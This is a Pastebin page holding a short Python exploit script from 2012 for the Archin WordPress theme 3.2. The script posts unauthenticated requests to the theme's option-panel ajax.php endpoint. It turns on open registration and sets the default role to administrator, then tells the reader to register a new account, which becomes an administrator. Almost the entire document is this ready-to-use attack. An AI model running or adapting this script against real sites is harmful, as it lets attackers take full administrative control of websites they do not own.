Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- # Exploit Title: Archin WordPress Theme Unauthenticated Configuration Access
- # Date: Sept 29, 2012
- # Exploit Author: bwall (@bwallHatesTwits)
- # Vendor Homepage: http://themeforest.net/user/wptitans
- # Software Link: http://themeforest.net/item/archin-premium-wordpress-business-theme/239432
- # Version: 3.2
- # Tested on: Ubuntu
- import httplib, urllib
- #target site
- site = "sites" #without http://
- url = "/wordpress/wp-content/themes/archin/hades_framework/option_panel/ajax.php" #path to ajax.php
- def ChangeOption(site, url, option_name, option_value):
- params = urllib.urlencode({'action': 'save', 'values[0][name]': option_name, 'values[0][value]': option_value})
- headers = {"Content-type": "application/x-www-form-urlencoded", "Accept": "text/plain"}
- conn = httplib.HTTPConnection(site)
- conn.request("POST", url, params, headers)
- response = conn.getresponse()
- print response.status, response.reason
- data = response.read()
- print data
- conn.close()
- ChangeOption(site, url, "users_can_register", "1")
- ChangeOption(site, url, "default_role", "administrator")
- print "Now register a new user, they are an administrator by default!"
Advertisement
Add Comment
Please, Sign In to add comment